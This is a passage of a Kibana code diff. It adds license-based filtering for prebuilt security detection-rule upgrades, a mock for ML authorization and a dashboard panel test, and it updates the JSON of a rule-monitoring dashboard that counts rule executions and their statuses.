a/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/prebuilt_rules/logic/utils.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/prebuilt_rules/logic/utils.ts index 9c1b3fdff54b3..78706f6060bb9 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/prebuilt_rules/logic/utils.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/prebuilt_rules/logic/utils.ts @@ -5,7 +5,11 @@ * 2.0. */ +import type { Type } from '@kbn/securitysolution-io-ts-alerting-types'; +import type { MlAuthz } from '../../../machine_learning/authz'; import type { RuleAlertType } from '../../rule_schema'; +import type { RuleVersionSpecifier } from './rule_versions/rule_version_specifier'; +import type { BasicRuleInfo } from './basic_rule_info'; /** * Converts an array of rules to a Map with rule IDs as keys @@ -15,3 +19,51 @@ import type { RuleAlertType } from '../../rule_schema'; */ export const rulesToMap = (rules: RuleAlertType[]) => new Map(rules.map((rule) => [rule.params.ruleId, rule])); + +/** + * Excludes rules that are not allowed under the current license. + * + * @param rules The array of rule objects to filter + * @param mlAuthz Machine Learning authorization object + * @returns A new array containing only the rules that are allowed under the current license + */ +export async function excludeLicenseRestrictedRules( + rules: T[], + mlAuthz: MlAuthz +): Promise { + const validationResults = await Promise.all( + rules.map((rule) => mlAuthz.validateRuleType(rule.type)) + ); + + return rules.filter((_rule, index) => validationResults[index].valid); +} + +function getUpgradeTargets( + currentRules: RuleVersionSpecifier[], + targetRulesMap: Map +): BasicRuleInfo[] { + return currentRules.reduce((allUpgradableRules, currentRule) => { + const targetRule = targetRulesMap.get(currentRule.rule_id); + if (targetRule && currentRule.version < targetRule.version) { + allUpgradableRules.push(targetRule); + } + return allUpgradableRules; + }, []); +} + +/** + * Given current and a target rules, returns a list of possible upgrade targets. + * + * @param currentRules The list of rules currently installed. + * @param targetRulesMap A map of the latest available rule versions, with rule_id as the key. + * @param mlAuthz Machine Learning authorization object + * @returns An array of target rule version specifiers. + */ +export function getPossibleUpgrades( + currentRules: RuleVersionSpecifier[], + targetRulesMap: Map, + mlAuthz: MlAuthz +): Promise { + const upgradeTargets = getUpgradeTargets(currentRules, targetRulesMap); + return excludeLicenseRestrictedRules(upgradeTargets, mlAuthz); +} diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/routes/__mocks__/request_context.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/routes/__mocks__/request_context.ts index 53d4c8be2517a..a4a0f02318996 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/routes/__mocks__/request_context.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/routes/__mocks__/request_context.ts @@ -191,6 +191,7 @@ const createSecuritySolutionRequestContextMock = ( getAuditLogger: jest.fn(() => mockAuditLogger), getDataViewsService: jest.fn(), getEntityStoreApiKeyManager: jest.fn(), + getPrivilegedUserMonitoringApiKeyManager: jest.fn(), getEntityStoreDataClient: jest.fn(() => clients.entityStoreDataClient), getPrivilegeMonitoringDataClient: jest.fn(() => clients.privilegeMonitorDataClient), getPadPackageInstallationClient: jest.fn(() => clients.padPackageInstallationClient), @@ -199,6 +200,9 @@ const createSecuritySolutionRequestContextMock = ( getInferenceClient: jest.fn(() => clients.getInferenceClient()), getAssetInventoryClient: jest.fn(() => clients.assetInventoryDataClient), getProductFeatureService: jest.fn(() => clients.productFeaturesService), + getMlAuthz: jest.fn(() => ({ + validateRuleType: jest.fn(async () => ({ valid: true, message: undefined })), + })), }; }; diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/rule_monitoring/logic/detection_engine_health/assets/assets.test.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/rule_monitoring/logic/detection_engine_health/assets/assets.test.ts index 59eaaa03a173e..6f117c106320f 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/rule_monitoring/logic/detection_engine_health/assets/assets.test.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/rule_monitoring/logic/detection_engine_health/assets/assets.test.ts @@ -76,6 +76,21 @@ describe('Assets for rule monitoring', () => { }, ]); }); + + describe('Rule gap histogram', () => { + it('should contain the correct title', () => { + const panelsConfig = JSON.parse(sourceRuleMonitoringDashboard.attributes.panelsJSON); + expect(panelsConfig).toEqual( + expect.arrayContaining([ + expect.objectContaining({ + embeddableConfig: expect.objectContaining({ + title: 'Rule gap histogram', + }), + }), + ]) + ); + }); + }); }); describe('Data view: ".kibana-event-log-*"', () => { diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/rule_monitoring/logic/detection_engine_health/assets/dashboard_rule_monitoring.json b/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/rule_monitoring/logic/detection_engine_health/assets/dashboard_rule_monitoring.json index eac6e8a2d8802..d19f25bba91b8 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/rule_monitoring/logic/detection_engine_health/assets/dashboard_rule_monitoring.json +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/rule_monitoring/logic/detection_engine_health/assets/dashboard_rule_monitoring.json @@ -17,7 +17,7 @@ "showApplySelections": false }, "optionsJSON": "{\"useMargins\":true,\"syncColors\":false,\"syncCursor\":true,\"syncTooltips\":false,\"hidePanelTitles\":false}", - "panelsJSON": "[{\"type\":\"visualization\",\"embeddableConfig\":{\"enhancements\":{\"dynamicActions\":{\"events\":[]}},\"savedVis\":{\"id\":\"\",\"title\":\"\",\"description\":\"\",\"type\":\"markdown\",\"params\":{\"fontSize\":12,\"openLinksInNewTab\":false,\"markdown\":\"This dashboard helps you monitor the health and performance of detection rules.\\n- You need at least `read` privileges for the `.kibana-event-log-*` index to access the necessary data.\\n- This Kibana-managed dashboard can not be customized. To make a custom version, clone it or edit and save it as a new dashboard.\"},\"uiState\":{},\"data\":{\"aggs\":[],\"searchSource\":{\"query\":{\"query\":\"\",\"language\":\"kuery\"},\"filter\":[]}}}},\"panelIndex\":\"35a9ff89-705a-45b7-ae86-67037fc66f15\",\"gridData\":{\"i\":\"35a9ff89-705a-45b7-ae86-67037fc66f15\",\"y\":0,\"x\":0,\"w\":48,\"h\":7}},{\"type\":\"lens\",\"embeddableConfig\":{\"enhancements\":{\"dynamicActions\":{\"events\":[]}},\"hidePanelTitles\":false,\"description\":\"Number of rules that were executed during the selected timeframe.\",\"syncColors\":false,\"syncCursor\":true,\"syncTooltips\":false,\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"alerting\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"alerting\"}}},{\"query\":{\"match_phrase\":{\"event.action\":\"execute\"}},\"meta\":{\"index\":\"kibana-event-log-data-view\",\"negate\":false,\"type\":\"phrase\",\"key\":\"event.action\",\"params\":{\"query\":\"execute\"},\"disabled\":false,\"alias\":null}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.category\",\"field\":\"event.category\",\"params\":{\"query\":\"siem\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"event.category\":\"siem\"}}}],\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"attributes\":{\"title\":\"Enabled rules\",\"description\":\"\",\"visualizationType\":\"lnsLegacyMetric\",\"type\":\"lens\",\"references\":[{\"id\":\"kibana-event-log-data-view\",\"name\":\"indexpattern-datasource-layer-66195a85-b71e-45f5-a5ea-4388416cf5f7\",\"type\":\"index-pattern\"},{\"id\":\"kibana-event-log-data-view\",\"name\":\"874e1b4c-a64b-426a-b43e-d4ee226610a9\",\"type\":\"index-pattern\"}],\"state\":{\"visualization\":{\"layerId\":\"66195a85-b71e-45f5-a5ea-4388416cf5f7\",\"accessor\":\"9449b851-8169-44e9-8418-bd0e586bbf94\",\"layerType\":\"data\",\"textAlign\":\"center\",\"titlePosition\":\"bottom\",\"size\":\"xl\"},\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"alerting\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"alerting\"}}},{\"query\":{\"match_phrase\":{\"event.action\":\"execute\"}},\"meta\":{\"index\":\"kibana-event-log-data-view\",\"negate\":false,\"type\":\"phrase\",\"key\":\"event.action\",\"params\":{\"query\":\"execute\"},\"disabled\":false,\"alias\":null}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.category\",\"field\":\"event.category\",\"params\":{\"query\":\"siem\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"event.category\":\"siem\"}}}],\"index\":\"874e1b4c-a64b-426a-b43e-d4ee226610a9\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"datasourceStates\":{\"formBased\":{\"layers\":{\"66195a85-b71e-45f5-a5ea-4388416cf5f7\":{\"columns\":{\"9449b851-8169-44e9-8418-bd0e586bbf94\":{\"label\":\"Enabled rules\",\"dataType\":\"number\",\"operationType\":\"unique_count\",\"scale\":\"ratio\",\"sourceField\":\"rule.id\",\"isBucketed\":false,\"customLabel\":true}},\"columnOrder\":[\"9449b851-8169-44e9-8418-bd0e586bbf94\"],\"incompleteColumns\":{}}}}},\"internalReferences\":[],\"adHocDataViews\":{}}}},\"panelIndex\":\"52ec5ce0-3ea9-42ee-91f2-0f664d6cb74d\",\"gridData\":{\"i\":\"52ec5ce0-3ea9-42ee-91f2-0f664d6cb74d\",\"y\":7,\"x\":0,\"w\":10,\"h\":8}},{\"type\":\"lens\",\"title\":\"Rule executions\",\"embeddableConfig\":{\"enhancements\":{\"dynamicActions\":{\"events\":[]}},\"hidePanelTitles\":false,\"description\":\"Number of rule executions within the selected timeframe.\",\"syncColors\":false,\"syncCursor\":true,\"syncTooltips\":false,\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"alerting\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"alerting\"}}},{\"query\":{\"match_phrase\":{\"event.action\":\"execute\"}},\"meta\":{\"index\":\"kibana-event-log-data-view\",\"negate\":false,\"type\":\"phrase\",\"key\":\"event.action\",\"params\":{\"query\":\"execute\"},\"disabled\":false,\"alias\":null}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.category\",\"field\":\"event.category\",\"params\":{\"query\":\"siem\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"event.category\":\"siem\"}}}],\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"attributes\":{\"title\":\"\",\"description\":\"\",\"visualizationType\":\"lnsLegacyMetric\",\"type\":\"lens\",\"references\":[{\"id\":\"kibana-event-log-data-view\",\"name\":\"indexpattern-datasource-layer-17c4f52b-ef17-43d7-8282-91e48cbe11e7\",\"type\":\"index-pattern\"},{\"id\":\"kibana-event-log-data-view\",\"name\":\"37539143-7ea2-4353-ae4e-78ec772d1508\",\"type\":\"index-pattern\"}],\"state\":{\"visualization\":{\"layerId\":\"17c4f52b-ef17-43d7-8282-91e48cbe11e7\",\"accessor\":\"53cbc7e3-a396-4c55-8a28-f068d2eb3c5d\",\"layerType\":\"data\",\"textAlign\":\"center\",\"titlePosition\":\"bottom\",\"size\":\"xl\"},\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"alerting\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"alerting\"}}},{\"query\":{\"match_phrase\":{\"event.action\":\"execute\"}},\"meta\":{\"index\":\"kibana-event-log-data-view\",\"negate\":false,\"type\":\"phrase\",\"key\":\"event.action\",\"params\":{\"query\":\"execute\"},\"disabled\":false,\"alias\":null}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.category\",\"field\":\"event.category\",\"params\":{\"query\":\"siem\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"event.category\":\"siem\"}}}],\"index\":\"37539143-7ea2-4353-ae4e-78ec772d1508\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"datasourceStates\":{\"formBased\":{\"layers\":{\"17c4f52b-ef17-43d7-8282-91e48cbe11e7\":{\"columns\":{\"53cbc7e3-a396-4c55-8a28-f068d2eb3c5d\":{\"label\":\"Rule executions\",\"dataType\":\"number\",\"operationType\":\"count\",\"isBucketed\":false,\"scale\":\"ratio\",\"sourceField\":\"___records___\",\"params\":{\"emptyAsNull\":true},\"customLabel\":true}},\"columnOrder\":[\"53cbc7e3-a396-4c55-8a28-f068d2eb3c5d\"],\"incompleteColumns\":{}}}}},\"internalReferences\":[],\"adHocDataViews\":{}}}},\"panelIndex\":\"91a23437-071d-4739-b57e-2881caa980eb\",\"gridData\":{\"i\":\"91a23437-071d-4739-b57e-2881caa980eb\",\"y\":7,\"x\":10,\"w\":11,\"h\":8}},{\"type\":\"lens\",\"title\":\"\\\"Succeeded\\\" statuses\",\"embeddableConfig\":{\"enhancements\":{\"dynamicActions\":{\"events\":[]}},\"hidePanelTitles\":false,\"description\":\"Number of rule executions with a succeeded status (outcome of the rule execution) within the selected timeframe.\",\"syncColors\":false,\"syncCursor\":true,\"syncTooltips\":false,\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"securitySolution.ruleExecution\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"securitySolution.ruleExecution\"}}},{\"query\":{\"match_phrase\":{\"event.action\":\"status-change\"}},\"meta\":{\"index\":\"kibana-event-log-data-view\",\"negate\":false,\"type\":\"phrase\",\"key\":\"event.action\",\"params\":{\"query\":\"status-change\"},\"disabled\":false,\"alias\":null}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"kibana.alert.rule.execution.status\",\"field\":\"kibana.alert.rule.execution.status\",\"params\":{\"query\":\"succeeded\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"kibana.alert.rule.execution.status\":\"succeeded\"}}}],\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"attributes\":{\"title\":\"\",\"description\":\"\",\"visualizationType\":\"lnsLegacyMetric\",\"type\":\"lens\",\"references\":[{\"id\":\"kibana-event-log-data-view\",\"name\":\"indexpattern-datasource-layer-17c4f52b-ef17-43d7-8282-91e48cbe11e7\",\"type\":\"index-pattern\"},{\"id\":\"kibana-event-log-data-view\",\"name\":\"32816692-7d96-4a12-abe3-3016e8a3844c\",\"type\":\"index-pattern\"}],\"state\":{\"visualization\":{\"layerId\":\"17c4f52b-ef17-43d7-8282-91e48cbe11e7\",\"accessor\":\"53cbc7e3-a396-4c55-8a28-f068d2eb3c5d\",\"layerType\":\"data\",\"textAlign\":\"center\",\"titlePosition\":\"bottom\",\"size\":\"xl\",\"colorMode\":\"Labels\",\"palette\":{\"name\":\"custom\",\"type\":\"palette\",\"params\":{\"steps\":3,\"name\":\"custom\",\"reverse\":false,\"rangeType\":\"number\",\"rangeMin\":null,\"rangeMax\":null,\"progression\":\"fixed\",\"stops\":[{\"color\":\"#209280\",\"stop\":12}],\"colorStops\":[{\"color\":\"#209280\",\"stop\":null}],\"continuity\":\"all\",\"maxSteps\":5}}},\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"securitySolution.ruleExecution\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"securitySolution.ruleExecution\"}}},{\"query\":{\"match_phrase\":{\"event.action\":\"status-change\"}},\"meta\":{\"index\":\"kibana-event-log-data-view\",\"negate\":false,\"type\":\"phrase\",\"key\":\"event.action\",\"params\":{\"query\":\"status-change\"},\"disabled\":false,\"alias\":null}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"kibana.alert.rule.execution.status\",\"field\":\"kibana.alert.rule.execution.status\",\"params\":{\"query\":\"succeeded\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"kibana.alert.rule.execution.status\":\"succeeded\"}}}],\"index\":\"32816692-7d96-4a12-abe3-3016e8a3844c\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"datasourceStates\":{\"formBased\":{\"layers\":{\"17c4f52b-ef17-43d7-8282-91e48cbe11e7\":{\"columns\":{\"53cbc7e3-a396-4c55-8a28-f068d2eb3c5d\":{\"label\":\"Succeeded\",\"dataType\":\"number\",\"operationType\":\"count\",\"isBucketed\":false,\"scale\":\"ratio\",\"sourceField\":\"___records___\",\"params\":{\"emptyAsNull\":true},\"customLabel\":true}},\"columnOrder\":[\"53cbc7e3-a396-4c55-8a28-f068d2eb3c5d\"],\"incompleteColumns\":{}}}}},\"internalReferences\":[],\"adHocDataViews\":{}}}},\"panelIndex\":\"9770096c-3ba7-42e4-9783-5042ff08896d\",\"gridData\":{\"i\":\"9770096c-3ba7-42e4-9783-5042ff08896d\",\"y\":7,\"x\":21,\"w\":9,\"h\":8}},{\"type\":\"lens\",\"title\":\"\\\"Warning\\\" statuses\",\"embeddableConfig\":{\"enhancements\":{\"dynamicActions\":{\"events\":[]}},\"hidePanelTitles\":false,\"description\":\"Number of rule executions with a warning status (outcome of the rule execution) within the selected timeframe.\",\"syncColors\":false,\"syncCursor\":true,\"syncTooltips\":false,\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"securitySolution.ruleExecution\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"securitySolution.ruleExecution\"}}},{\"query\":{\"match_phrase\":{\"event.action\":\"status-change\"}},\"meta\":{\"index\":\"kibana-event-log-data-view\",\"negate\":false,\"type\":\"phrase\",\"key\":\"event.action\",\"params\":{\"query\":\"status-change\"},\"disabled\":false,\"alias\":null}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"kibana.alert.rule.execution.status\",\"field\":\"kibana.alert.rule.execution.status\",\"params\":{\"query\":\"partial failure\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"kibana.alert.rule.execution.status\":\"partial failure\"}}}],\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"attributes\":{\"title\":\"\",\"description\":\"\",\"visualizationType\":\"lnsLegacyMetric\",\"type\":\"lens\",\"references\":[{\"id\":\"kibana-event-log-data-view\",\"name\":\"indexpattern-datasource-layer-17c4f52b-ef17-43d7-8282-91e48cbe11e7\",\"type\":\"index-pattern\"},{\"id\":\"kibana-event-log-data-view\",\"name\":\"9acb5e9e-8c72-4ba6-a4f5-7f2901353c16\",\"type\":\"index-pattern\"}],\"state\":{\"visualization\":{\"layerId\":\"17c4f52b-ef17-43d7-8282-91e48cbe11e7\",\"accessor\":\"53cbc7e3-a396-4c55-8a28-f068d2eb3c5d\",\"layerType\":\"data\",\"textAlign\":\"center\",\"titlePosition\":\"bottom\",\"size\":\"xl\",\"colorMode\":\"Labels\",\"palette\":{\"name\":\"custom\",\"type\":\"palette\",\"params\":{\"steps\":3,\"name\":\"custom\",\"reverse\":false,\"rangeType\":\"number\",\"rangeMin\":null,\"rangeMax\":null,\"progression\":\"fixed\",\"stops\":[{\"color\":\"#d6bf57\",\"stop\":4104}],\"colorStops\":[{\"color\":\"#d6bf57\",\"stop\":null}],\"continuity\":\"all\",\"maxSteps\":5}}},\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"securitySolution.ruleExecution\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"securitySolution.ruleExecution\"}}},{\"query\":{\"match_phrase\":{\"event.action\":\"status-change\"}},\"meta\":{\"index\":\"kibana-event-log-data-view\",\"negate\":false,\"type\":\"phrase\",\"key\":\"event.action\",\"params\":{\"query\":\"status-change\"},\"disabled\":false,\"alias\":null}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"kibana.alert.rule.execution.status\",\"field\":\"kibana.alert.rule.execution.status\",\"params\":{\"query\":\"partial failure\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"kibana.alert.rule.execution.status\":\"partial failure\"}}}],\"index\":\"9acb5e9e-8c72-4ba6-a4f5-7f2901353c16\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"datasourceStates\":{\"formBased\":{\"layers\":{\"17c4f52b-ef17-43d7-8282-91e48cbe11e7\":{\"columns\":{\"53cbc7e3-a396-4c55-8a28-f068d2eb3c5d\":{\"label\":\"Warning\",\"dataType\":\"number\",\"operationType\":\"count\",\"isBucketed\":false,\"scale\":\"ratio\",\"sourceField\":\"___records___\",\"params\":{\"emptyAsNull\":true},\"customLabel\":true}},\"columnOrder\":[\"53cbc7e3-a396-4c55-8a28-f068d2eb3c5d\"],\"incompleteColumns\":{}}}}},\"internalReferences\":[],\"adHocDataViews\":{}}}},\"panelIndex\":\"12011f8d-0d0d-40d6-8ef5-0d50bfe570f8\",\"gridData\":{\"i\":\"12011f8d-0d0d-40d6-8ef5-0d50bfe570f8\",\"y\":7,\"x\":30,\"w\":9,\"h\":8}},{\"type\":\"lens\",\"title\":\"\\\"Failed\\\" statuses\",\"embeddableConfig\":{\"enhancements\":{\"dynamicActions\":{\"events\":[]}},\"hidePanelTitles\":false,\"description\":\"Number of rule executions with a failed status (outcome of the rule execution) within the selected timeframe.\",\"syncColors\":false,\"syncCursor\":true,\"syncTooltips\":false,\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"securitySolution.ruleExecution\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"securitySolution.ruleExecution\"}}},{\"query\":{\"match_phrase\":{\"event.action\":\"status-change\"}},\"meta\":{\"index\":\"kibana-event-log-data-view\",\"negate\":false,\"type\":\"phrase\",\"key\":\"event.action\",\"params\":{\"query\":\"status-change\"},\"disabled\":false,\"alias\":null}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"kibana.alert.rule.execution.status\",\"field\":\"kibana.alert.rule.execution.status\",\"params\":{\"query\":\"failed\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"kibana.alert.rule.execution.status\":\"failed\"}}}],\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"attributes\":{\"title\":\"\",\"description\":\"\",\"visualizationType\":\"lnsLegacyMetric\",\"type\":\"lens\",\"references\":[{\"id\":\"kibana-event-log-data-view\",\"name\":\"indexpattern-datasource-layer-17c4f52b-ef17-43d7-8282-91e48cbe11e7\",\"type\":\"index-pattern\"},{\"id\":\"kibana-event-log-data-view\",\"name\":\"9adf5837-270f-43bf-92d8-af2d74022292\",\"type\":\"index-pattern\"}],\"state\":{\"visualization\":{\"layerId\":\"17c4f52b-ef17-43d7-8282-91e48cbe11e7\",\"accessor\":\"53cbc7e3-a396-4c55-8a28-f068d2eb3c5d\",\"layerType\":\"data\",\"textAlign\":\"center\",\"titlePosition\":\"bottom\",\"size\":\"xl\",\"colorMode\":\"Labels\",\"palette\":{\"name\":\"custom\",\"type\":\"palette\",\"params\":{\"steps\":3,\"name\":\"custom\",\"reverse\":false,\"rangeType\":\"number\",\"rangeMin\":null,\"rangeMax\":null,\"progression\":\"fixed\",\"stops\":[{\"color\":\"#cc5642\",\"stop\":94}],\"colorStops\":[{\"color\":\"#cc5642\",\"stop\":null}],\"continuity\":\"all\",\"maxSteps\":5}}},\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"securitySolution.ruleExecution\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"securitySolution.ruleExecution\"}}},{\"query\":{\"match_phrase\":{\"event.action\":\"status-change\"}},\"meta\":{\"index\":\"kibana-event-log-data-view\",\"negate\":false,\"type\":\"phrase\",\"key\":\"event.action\",\"params\":{\"query\":\"status-change\"},\"disabled\":false,\"alias\":null}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"kibana.alert.rule.execution.status\",\"field\":\"kibana.alert.rule.execution.status\",\"params\":{\"query\":\"failed\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"kibana.alert.rule.execution.status\":\"failed\"}}}],\"index\":\"9adf5837-270f-43bf-92d8-af2d74022292\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"datasourceStates\":{\"formBased\":{\"layers\":{\"17c4f52b-ef17-43d7-8282-91e48cbe11e7\":{\"columns\":{\"53cbc7e3-a396-4c55-8a28-f068d2eb3c5d\":{\"label\":\"Failed\",\"dataType\":\"number\",\"operationType\":\"count\",\"isBucketed\":false,\"scale\":\"ratio\",\"sourceField\":\"___records___\",\"params\":{\"emptyAsNull\":true},\"customLabel\":true}},\"columnOrder\":[\"53cbc7e3-a396-4c55-8a28-f068d2eb3c5d\"],\"incompleteColumns\":{}}}}},\"internalReferences\":[],\"adHocDataViews\":{}}}},\"panelIndex\":\"b3b0743e-9a2c-4173-babc-dc93204cc0f2\",\"gridData\":{\"i\":\"b3b0743e-9a2c-4173-babc-dc93204cc0f2\",\"y\":7,\"x\":39,\"w\":9,\"h\":8}},{\"type\":\"lens\",\"title\":\"Executions by rule type\",\"embeddableConfig\":{\"enhancements\":{\"dynamicActions\":{\"events\":[]}},\"hidePanelTitles\":false,\"description\":\"Histogram where each column shows a number of rule executions broken down by rule 